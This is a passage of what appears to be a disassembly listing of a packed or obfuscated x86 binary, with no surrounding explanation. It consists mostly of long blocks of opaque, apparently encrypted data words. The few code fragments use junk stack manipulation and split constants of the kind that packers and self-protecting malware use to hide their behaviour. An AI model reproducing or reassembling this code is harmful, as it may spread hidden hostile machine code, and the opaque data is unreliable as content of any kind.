144h, 7E129366h, 0E3E10AEBh dd 1D73781Eh, 8DC3E488h, 3E525738h, 3CDD89B4h, 0AC4CD1B7h dd 22F0450Bh, 8F66CB99h, 5F5B7A6Eh, 5B152CBh, 5D1EAE71h dd 28BC452Ah, 8DC9AD6Eh, 9BCDF29Ah, 0A80FA9CEh, 0C6A93CB8h dd 0C96137D9h, 770E4D50h, 3A5239ACh, 0D78CC0AFh, 12885E01h dd 98BC2FE9h, 0CE9E23F5h, 0A5481D9Bh, 0FD9015F8h, 410B961Bh dd 0DA9419FCh, 49C26620h, 0B7770E61h, 616FE820h, 0F381770Eh dd 0A400D7CEh, 0DEDCA7C0h, 1CF788A0h, 0E6757511h, 0AF5425C8h dd 6EE7F39h, 0A6230BE1h, 5E710B2Eh, 0CF5236B7h, 0AC7812Ah dd 98h, 0A2C6AB6Ch, 30C371AFh, 98472526h, 0F874C35Fh, 6785F07Bh dd 1CA4FF4Bh, 0C99C7508h, 0BB3CDCB1h, 2DC0AD3Dh, 8B5AC488h dd 2EBEC3E4h, 54AC4B8Ch, 690C61DFh, 4CDBDCBCh, 0F028F41Ch dd 36DA2A82h, 0A34AD7B1h, 34084A02h, 191756E0h, 0D5DABDF5h dd 0CE47E39Dh, 32FA82F0h, 5434BD5Fh, 0BACEAA31h, 2DBF40D7h dd 70D8AC40h, 0FA82F0D7h, 0A12BB625h, 0D1BB3CDCh, 4701AA4Ch dd 55E52915h, 0F688DCD0h, 67CA9E1Fh, 0BB7D6F90h, 99F40818h dd 239906EEh, 33Eh, 80034500h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h dd 4008B142h, 4EC810Bh, 54000000h, 8324048Fh, 68042404h dd 514h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edi mov edi, 2DA3772Bh add edi, 1 add edi, 0D865C53Dh mov esi, edi pop edi push 6620h mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], esi pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_5439D9 ; --------------------------------------------------------------------------- db 0ABh dd 38C212Eh, 0AF196417h, 9A3B1720h, 940B5B8h, 0FFC50306h dd 9C5DF2E0h, 44408F6Fh, 0AAB93F69h, 3105933Eh, 5A223006h dd 6608C177h, 6660BC3Fh, 78E00D61h, 10CB8B69h, 540BA35h dd 9CE4C35Ch, 3211B379h, 3392E047h, 148D8D6Dh, 6A060942h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0ECCEC355h, 7E94D3Dh, 3000000h, 1F9A08DDh dd 8D892B00h, 60331D1h, 114D9D8Bh, 9D030603h, 6031455h dd 1E185C7h, 70980603h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 4ED10DC3h, 0BDC699FBh dd 11BFB4E1h, 0C71F009Fh, 321BD85h, 6, 2D850900h, 0FF06031Ah dd 322F9B5h, 31852306h, 8B06031Dh, 30475B5h, 9195FF06h dd 8B060326h, 3140D9Dh, 0FF006A06h, 31FB995h, 0EBC08B06h dd 0E6A118h, 725CFDE8h, 0D6F8C4BAh, 0E33DB2C0h, 0E0C76369h dd 68B3ABA9h, 0E8D8D67h, 6A060943h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 72F0C355h dd 0BE9D3E6h, 2D000000h, 0BC4B97E9h, 1905DF7Fh, 0AE8672Eh dd 40000000h, 4FDE7509h, 0E92C5432h, 0CDBD09D0h, 5F06031Ch dd 31D18D89h, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 958998C3h, 6032A75h, 85C7D18Bh dd 60301E1h, 6B9Ch, 21BD85C7h, 603h, 10E80000h, 20000000h dd 0A719AC63h, 8587FDF5h, 35964F62h, 58E8C06Ch, 1375B5FFh dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 82C94DC3h, 0EE4D2EDFh, 0FF2DDA59h, 3269195h dd 0E58D8906h, 6A06030Ch, 0B995FF00h, 8B06031Fh, 8A2CEBC0h dd 0EB3A9937h, 0D2343C93h, 0A36D01DDh, 312039C0h, 95C1BB05h dd 0D11834D2h, 0C2866C13h, 0F20F266Dh, 6EB2436Ah, 4F0492A2h dd 0E807C978h, 6, 0B9150920h, 8B5F461Ch, 32971B5h, 0BFC78106h dd 0BB000070h, 1BFAh, 0A79B589h, 0F8B0603h, 13E9h, 3F44B100h dd 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh, 3F85827Fh, 0CE2AF181h dd 0CE865E2h, 22000000h, 54680A82h, 5E153C82h, 0F6B64D9h dd 18Bh, 8158F800h, 2B6C1C1h, 19BD3120h, 81060309h, 1AA76E9h dd 290F890Fh, 3304D95h, 28EF8106h, 8164359Ah, 359A24C7h dd 0BE964h, 51C0000h, 0E0BEB1F8h, 4FC7C806h, 1EB8325h dd 24850Fh, 0DE90000h, 71000000h, 86BB725h, 3683F648h dd 0B2EF5AEh, 2EE9h, 7163D300h, 67024F2Eh, 0EDD9098Ch dd 870F659Ch, 6, 26ED852Bh, 53E90603h, 4BFFFFFFh, 0B52BD1C0h dd 749EF1B1h, 7011E0DFh, 53B55AA6h, 5DB13EE8h, 0ACF23256h dd 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE87FACh, 75EB5C83h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13254h, 57B83581h, 0ABB63253h, 0D5B33254h, 0E9EA327Ch dd 77F63256h, 0B8F63256h, 5DA0F27Dh, 0B4743256h, 0B1F01A1Dh dd 0D9CCE671h, 6BC87295h, 0BA845E49h, 13D16006h, 0A958E4DDh dd 52B13256h, 85CB97CAh, 50F713DEh, 8636F62h, 2AAF6BF6h dd 0E5D0279Ah, 15E36267h, 0EA803D37h, 7803D04h, 0F4E9680Eh dd 89A8A40Eh, 4164BEE9h, 3CB1B98Dh, 0EAB1325Ah, 26F3BF72h dd 153FBBC6h, 962B77EAh, 0AA9576DFh, 0BE2D6136h, 0ABB13253h dd 392E0CAFh, 3279B3E3h, 9CD420B8h, 0BAB13250h, 3035A540h dd 0F62C01F4h, 57A5DBCAh, 8EAD3256h, 74B999ACh, 3705B590h dd 0AC911104h, 2FFD4DC8h, 0A831A9FCh, 0AEBDDB20h, 1A553256h dd 0E2E12154h, 0D0CD5D18h, 8B2CB90Ch, 7A58030Eh, 0D1B13256h dd 1A37539Eh, 4DA3AF22h, 68EFABB6h, 0F3EB675Ah, 0D19576DFh dd 0EAB134BFh, 0D1860456h, 0E262F05Bh, 5DB1325Ah, 0DD539F92h dd 989F9B66h, 408B570Ah, 0C9B7C4D7h, 0E6582C6Fh, 81B13256h dd 0DAD2A04Bh, 0D10EEC4Fh, 336AD883h, 0DD029E2h, 0ABB16A0Eh dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 54F7ECBCh dd 2834BF50h, 0DEB73AC7h, 0A2F506D4h, 0B433BF50h, 63B73BE4h dd 7CF50AD4h, 0B3FFDA50h, 26593256h, 69B13256h, 5EF516D4h dd 0ABB13250h, 50776056h, 0ECB21D6Fh, 0CDE35A00h, 0F4EAEFEh dd 5BB21A9Fh, 0DD0DB7DBh, 874E3450h, 0B020B7DFh, 0D1DB3455h dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h dd 5EF516D4h, 8333BB50h, 6CB73B12h, 0EAB23F16h, 0B582CADDh dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 3A23CD56h dd 8FB7314Dh, 0AEC9B0DFh, 0FED0345Fh, 0B3F516D3h, 9AD1F150h dd 0ADA38FD4h, 17B13250h, 233F556h, 0D5B73170h, 8BB13246h dd 0CF3A5295h, 0BCB87672h, 29B10DD5h, 0BECEB175h, 0D4BA4654h dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h dd 0AD62D8D7h, 0C73A345Fh, 0BCB8762Ah, 0D4B977DDh, 0D233B150h dd 53B73B12h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 3246D8D7h dd 83A345Fh, 5BB8762Eh, 0EACD806Dh, 6CC5345Fh, 743A0CDDh dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h dd 0A8B23267h, 7560BFDDh, 738A3455h, 0C8A3B24h, 2C323721h dd 4E78D952h, 33B94699h, 5E93E3EBh, 0CF06D950h, 57595295h dd 0F1B13256h, 9DFED8D7h, 503A345Fh, 73B8762Eh, 0BAB032EFh dd 0AE710156h, 0D633B9FDh, 0DEB73B12h, 0A2F54ED4h, 0B5725350h dd 0EAB132BEh, 9F306856h, 0BCB87A2Fh, 7288B790h, 0C6E73455h dd 83AE5F6Fh, 837887A9h, 503C3455h, 0ECB741EAh, 25E3E2A9h dd 0BA31323Eh, 0A2B15856h, 0A7F516E4h, 0F61CD50h, 2BB15A0Ch dd 0D5DB3256h, 0AEC980A9h, 0A54E345Fh, 31E4F137h, 5D5952BAh dd 0F4B13256h, 1F76D8D7h, 0DE3A345Fh, 0D729DA5Eh, 15E43256h dd 7CF506C4h, 0CF8A6F50h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h, 0F24AD8D7h dd 283A345Fh, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h dd 784E67AEh, 73B87662h, 0B6C4090Bh dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h dd 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 7CF556D4h dd 0BAB13350h, 55C4B956h, 25AFB930h, 5EF516ECh, 0A3EEB950h dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECB87632h, 0F5AFB930h dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h dd 80D12122h, 0AE85A0A9h, 0FCEC345Fh, 39D0CE13h, 28B0CE2Bh dd 130BB935h, 7B73144h, 0EFD5B0DDh, 0E988345Fh, 0BAC36A66h dd 531888DDh, 31E13455h, 54F556D4h, 9E8D0B50h, 0BC8C4D0Eh dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 9E0BB956h dd 0D6B73B12h, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h, 0D733BF09h dd 0FBB73B12h, 0ED23CD00h, 0E1B73B12h, 0FEBB4696h, 3A03BF9Eh dd 0B6B73B12h, 603A6446h, 6323CD03h, 0F6B73B12h, 0C46FC7Dh dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCB8790Fh, 0D4B977DDh dd 0A7F51ED4h, 95785350h, 20E43252h, 2D75B1BAh, 0EAB1DA36h dd 0F4EB3256h, 0B3FA48BCh, 0A5F4F550h, 0AEB13256h, 574D7791h dd 98B13256h, 0CB3A5496h, 0AED5B091h, 75B0345Fh, 3BD73256h dd 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh dd 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h dd 58313DADh, 0ABB1D7D2h, 80333156h, 0AAB7314Ah, 7A53C9D6h dd 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh dd 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h dd 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h dd 3589463Eh, 0FED5B0A9h, 0D6D7345Fh, 5656B248h, 0D64AB330h dd 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h, 284E6736h dd 5BB87662h, 52F4BB0Bh, 0ABCCB137h, 83343D57h, 5EB13257h dd 0E9A38FECh, 0F73A6250h, 0BCB87632h, 5810E6Fh, 0AFA0B059h dd 0ED3A3256h, 0ADB214FFh, 0B133B906h, 0D3B73B12h, 7AE9026Ah dd 0BAB1C8D9h, 750BB956h, 2DB73B12h, 5EF51AD4h, 9C382650h dd 85A175DFh, 0AED5B0DDh, 693A345Fh, 0E5386A66h, 5D64DB5Eh dd 0EB763256h, 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h dd 73B8767Eh, 0FE99B0D5h, 0D4A5345Fh, 0BEF6BB61h, 22B2CAD5h dd 0CF33F55Ah, 0D7B73B12h, 1B13256h, 7749B153h, 0C7326D2Bh dd 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h dd 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 19D5A8DDh, 0AA3A345Fh dd 57186965h, 0DE313256h, 56773142h, 68B23796h, 73B87632h dd 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h, 29B23796h dd 0D3B87632h, 0E2F6BB1Eh, 9EBD75DFh, 30710168h, 0DD193310h dd 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh, 4971A8DCh dd 9631345Eh, 33723157h, 1A383A11h, 59A5D95Ah, 574E178Eh dd 6D9A3256h, 1532EAA1h, 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h dd 9932DEDDh, 0AE5952AAh, 0DB13256h, 0E63AD8D7h, 6F3A345Fh dd 0ECB87672h, 4A32FB65h, 78353D56h, 0D6B13256h, 0A2C4CD51h dd 7B947A9h, 0ABB041BEh, 56B44156h, 85A2691h, 8A4D77DFh dd 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h, 0EE3A3256h dd 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h, 22323A22h dd 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h, 295A99A5h dd 70A14DD5h, 0C5323D22h, 4CC43446h, 0AAF6B917h, 0BCBD6DDDh dd 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h dd 59E6B904h, 0ADA1677Dh, 83A2603h, 286B195Ah, 3EEB37BDh dd 0EEF6B944h, 5EBD6DDDh, 51323609h, 103B3153h, 2DB73178h dd 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh, 75B48BA9h dd 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h, 5775B1BAh dd 0D5B1DA36h, 6BEB3256h, 7CFF44BCh, 9E0BB950h, 6EB73B12h dd 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h, 2E13A23h dd 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah dd 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh, 394D77A9h dd 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h, 0D008CDA9h dd 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h, 0EFA04750h dd 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h, 0FEB575DDh dd 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh dd 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh, 5DB9F09Fh dd 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h dd 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h, 57B13256h dd 0E75BB30Ch, 0E6B73B19h, 636A019Fh, 0CF3ACE0Bh, 0BCB87672h dd 29B10DD5h, 518EB132h, 90323723h, 2840D942h, 0A1B13629h dd 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh dd 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h, 323A2FBDh dd 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh dd 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h, 5DB137EFh dd 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h, 0B0B13256h dd 3A66D8D7h, 203C345Fh, 5BB8766Ah, 0AEB156EEh, 5763DA56h dd 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h, 7B8A221Dh dd 5F5A3024h, 0BC5A26BDh, 0FFAFA8DBh, 784E345Fh, 4F3C3ABDh dd 0ECB89912h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh, 2FEB3256h dd 5EE114BCh, 113C5250h, 0D3B8766Ah, 63B977DDh, 79F4B951h dd 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh dd 0EC34F436h, 0ADB73179h, 62C2283Eh, 7304CDFEh, 0D0B7317Eh dd 0A8C28ED3h, 561CD50h, 0EFD9B8DBh, 2AE0345Fh, 683C6886h dd 73B8763Eh, 0B6F18559h, 52E3EADDh, 6DB26867h, 4878B0DFh dd 0C3D03455h, 0E85251h, 5A000000h, 5097EA81h, 8B520609h dd 31FC982h, 4E6DB906h, 0E1F741C6h, 3039055Ah, 0FF250000h dd 897FFFFFh, 31FC982h, 0C3595A06h, 0E85251h, 5A000000h dd 50C7EA81h, 0C88B0609h, 0FFFFBBE8h, 0F7D233FFh, 5AC28BF1h dd 0C08BC359h, 858DC08Bh, 60946D8h, 8B66D0FFh, 90858DC1h dd 89060950h, 3316D85h, 0C0858D06h, 89060950h, 3291185h dd 0B806h, 0C00B0000h, 47840Fh, 85C60000h, 6032F39h, 30DF6856h dd 0B5FFA9C5h dd 60328C9h, 73BC858Dh, 0D0FF0606h, 498D8D50h, 5106031Fh dd 68046Ah, 0FF000010h, 30121B5h, 8BD0FF06h, 30121BDh dd 3C7F0306h, 0F8C781h, 47C70000h, 2024h, 8D9D8D60h, 8B06031Fh dd 0FC00B03h, 584h, 89008B00h, 0F6B90443h, 0E800234Ch dd 0Fh, 0C7044A6Eh, 69CF5DCBh, 0E161A257h, 0FF44F30h, 28Ch dd 5BE28A00h, 2890F57h, 60000000h, 0C3815961h, 74B8h, 66D78A60h dd 6136A1B9h, 1CF668h, 5EEC8A00h, 204FF081h, 3B8B54A8h dd 3727A5BAh, 0E2EF8150h, 0F7A7589h, 289h, 8198B000h, 435EC1C7h dd 0D68B6632h, 0A27EEF81h, 0E8564132h, 6, 0FBD2D293h, 0BE9E00Dh dd 43000000h, 6892DE0Eh, 1C77B88Ch, 5A587EE4h, 0AE83B89h dd 0DE000000h, 3D8926BFh, 267F0D88h, 0C18166C9h, 815A9F42h dd 0C613B7EBh, 12830F4Bh, 0F000000h, 0C83h, 7E900h, 0E8880000h dd 0D531D0B5h, 0B3C3812Bh, 0B64BC613h, 1EE8171h, 0F000000h dd 0FFFF7585h, 15850FFFh, 0E9000000h, 10h, 33CD7AD2h, 0A2F1ADF4h dd 0FB3832ABh, 0F1F41753h, 53158D8Dh, 6A0609h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 66BF1EC3h, 850F0E10h, 1, 0D18D89F5h, 6A060331h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0ABE0C352h, 3FBFE7F8h, 0E90AC26Fh, 0Ah, 2C977456h, 13F33D42h dd 85C72A56h, 60301E1h, 6938h, 209D858Bh, 85C70603h, 60321BDh dd 0 dd 43EA8166h, 0CDB5FF20h, 0F060310h, 95FFD6BFh, 6032691h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8C35242h dd 6AC571h, 1FB995FFh, 0C08B0603h, 5D330EEBh, 0BC365167h dd 0B02807B8h, 5C40023Eh, 5E8h, 0ABE1AA00h, 858BE5ABh dd 6032219h, 3800F5Fh, 0F000000h, 0C781C1BFh, 64C7h, 6882F080h dd 0 dd 707BB966h, 0B5B5895Eh, 0FF06032Dh, 5BF83E34h, 1AD3EB81h dd 0EB810856h, 47AAD90Bh, 122D8529h, 0EB810603h, 6EB57903h dd 8DD8D03h, 0F530603h, 48FCAB7h, 0E9815637h, 71BB2F5Fh dd 28E0F59h, 8B000000h, 4EE83D3h, 22858531h, 0FE810603h dd 0FFFF9BC8h, 0FFB1850Fh, 8B60FFFFh, 324118Dh, 9D896006h dd 6031E51h, 23AD858Bh, 61610603h, 546B08EBh, 4074h, 87E90000h dd 6800000Bh, 6095550h, 0FAEE83E9h, 569C68FFh, 79E90609h dd 68FFFAEEh, 6095876h, 0FAEE6FE9h, 599968FFh, 65E90609h dd 68FFFAEEh, 6095B26h, 0FAEE5BE9h, 5D0E68FFh, 51E90609h dd 68FFFAEEh, 6095DFEh, 0FAEE47E9h, 57F710FFh, 0E783A7C5h dd 75113775h, 7A7C1E7h, 96305715h, 0F368B084h, 822032D4h dd 1E5CCE64h, 0ABC95BF7h, 247EEC8Eh, 0D4F0E6F9h, 7E0EA1A8h dd 3AE00505h, 3CDEFBBBh, 0C19DF92Eh, 918A0D64h, 36EEADA4h dd 0CD9DF413h, 0BA1A290h, 0E487FE8Bh, 0A1A290EEh, 0FDF3DD2h dd 0AE98935Bh, 4CC4h, 1074DF00h, 0DDF81732h, 0A18094C2h dd 0C7B262A7h, 0A491214Ch, 146F8AADh, 0A1A29142h, 244604BCh dd 0B0450786h, 26564DCh, 0A1A29148h, 0C1C06280h, 0C3C2688Dh dd 0CA77D56Ah, 3DC527FCh, 0C6C76781h, 9A4CF386h, 3AE988Eh dd 0DEh, 3AE00598h, 3ADCFBBBh, 0F9E1C01Fh, 7A7A180h, 0CB8BEA9Fh dd 0C98D0CAEh, 7D1C0EACh, 0A7A18527h, 52C06A8Fh, 0F8BFD87Bh dd 0FB867675h, 0E991B40Eh, 0B1D1CDE8h, 25D09011h, 9BBE9CF8h dd 6BAFF1Bh, 4A04FA62h, 0ED28DD9Dh, 0A4DA5792h, 63F1A1ADh dd 841F583Ch, 0A1A2D9D2h, 0FED1742Ch, 0A1A2D9E8h, 4BEEAE16h dd 0A468F168h, 8EAB6BABh, 0EFF989F7h, 0CBAAF156h, 0ABA88A9Fh dd 0CF9B979h, 10B6DDD1h, 0AF476C02h, 0C4E6D93Fh, 0B0AB2628h dd 959h, 9E8C3255h, 0E1CBED8h, 0B8AA4C68h, 2E3CE2FAh, 59CB6B88h dd 0F342D4Dh, 9FC7E577h, 32531103h, 0C9EC8290h, 0B4613321h dd 0A8D58DDDh, 48234BA1h, 1F3ADE05h, 0FFBF5F79h, 7E981A3Fh dd 0EE9BDDDCh, 0C2436604h, 0A180F7E3h, 0D19101A7h, 10741443h dd 31593857h, 0CFA7A180h, 8020B657h, 66DEA7A1h, 0EAFC7247h dd 0F4B4DB3Bh, 9E345D51h, 6DA85D1Fh, 0E583B56h, 0E6A7A158h dd 0E6A627C3h, 0ADC88A0Ah, 39CC8C0Dh, 0A4490BA6h, 6C6DD5ADh dd 0A269410Dh, 46A67DA1h, 97B6F2A4h, 10E6BAEh, 62700000h dd 0B378AC47h, 7EDE458Ch, 0A1BECB9Fh, 5BFF1BA7h, 2F761A5Ah dd 8CEFA119h, 4431F122h, 52DCBEEh, 0D921A908h, 67DFA7A1h dd 27BFE5A7h, 0FF246667h, 19076667h, 55A7A1DCh, 0DA988A30h dd 0A99A1BBFh, 4D1D74EDh, 8BA7A1DEh, 97EE4B0Bh, 0ADA4C650h dd 0E3F7CEE5h, 1DA1A2F5h, 0C7077D44h, 965635B1h, 0A7B56DE3h dd 45D71470h, 97991B9Dh, 680B2EEEh, 53F9EEA3h, 0C61DE8B9h dd 0A48C67EFh, 341181ABh, 98BD597Eh, 0CF74627Dh, 1282ABA8h dd 46B09EB3h, 4A3FE09Ah, 5CDDFAB8h, 0A8041545h, 7333E3ABh dd 0C560AF63h, 9A857C28h, 80Dh, 42D07E99h, 0F2600A2Ch dd 6CFE98BCh, 92802E4Eh, 0D1FB7DCh, 5B78E139h, 0EB0BA9BBh dd 7EA7C557h, 153076E4h, 40DDE775h, 0A8D67961h, 0FCF787A1h dd 1D38DE05h, 80FBEFC6h, 9D05A7A1h, 9A1BB7DFh, 0C6C72FDAh dd 809EC8ABh, 0BA78A7A1h, 0BAFAFB9Fh, 92B70FFAh, 25B24DE8h dd 6FDCB3Ah, 403FC7B2h, 2AC9C362h, 0F59CC08Fh, 287A200h dd 9A6B022h, 0AF2EEE6Eh, 3220CAEFh, 0E9C8890Dh, 0A7A105E1h dd 42E7A71Fh, 0A4230463h, 0E1E050ADh, 47E288ADh, 0F5802A4Fh dd 54762C69h, 4663C3B6h, 2B4225A4h, 0A28E408h, 0F496B3F3h dd 8DC6B3F5h, 47E500AFh, 9CB97925h, 4E786E41h, 1E862AE8h dd 0C0E59B6Bh, 0C77D91FBh, 15F0E77Ch, 0D83F9E96h, 0AC2DED2Ah dd 0E82982CDh, 0E17B582Ah, 37A30259h, 0C12AE829h, 0EB0EA451h dd 0C64BEA4Fh, 2FBB1A9Fh, 292AE874h, 1DD54869h, 556BFB8Eh dd 680B8A30h, 2AE88665h, 79587782h, 2AE88611h, 517537EFh dd 0A587DCA9h, 72F0C29Dh, 0ECCF7768h, 0DA80A519h, 6B0F2A48h dd 210737CEh, 631EFEE1h, 0AAEEDF96h, 4F0FABCEh, 8034CFEAh dd 0E8264B6h, 90B72EDBh, 0AC20EDD7h, 553166F4h, 1AC5DC79h dd 0FE3EE8C8h, 83A3E346h, 7C5B1AEFh, 5E872146h, 0C38504C4h dd 0F5145F36h, 752A3EEEh, 2EA35797h, 0D91C1B4Ch, 0A7000003h dd 1F7BA50Bh, 0C8FE643h, 68ADA4B0h, 2AE88EAAh, 3769680Eh dd 3DE9E877h, 42EB37Ch, 2C87A280h, 2AB6A8FDh, 0D87EA51Fh dd 0F0949918h, 9454F610h, 0DED0DEB1h, 0DC7720B2h, 0B64B1DE1h dd 369A6F49h, 718CAB8Eh, 0BA82481Eh, 7B0EB634h, 6999EBBh dd 34BA8250h, 2436F6AEh, 9EC56386h, 84A838F8h, 93AFD6DEh dd 633C7DEh, 58730000h, 0E406A4B6h, 7296D446h, 82046D4h dd 91B6F466h, 71767F5h, 83913552h, 3F2DC5EDh, 0A8BA5879h dd 0D94BEF0Ah, 53079E87h, 0ADA1A8D8h, 2062A61Dh, 80A66406h dd 0AAEE17E2h, 735269CCh, 0A7A18067h, 42632191h, 9A6F21A0h dd 0A601647Fh, 0E353ADA4h, 1E482B46h, 0F8A1A2A6h, 70324D38h dd 7634B555h, 7333B250h, 7634B559h, 7434B551h, 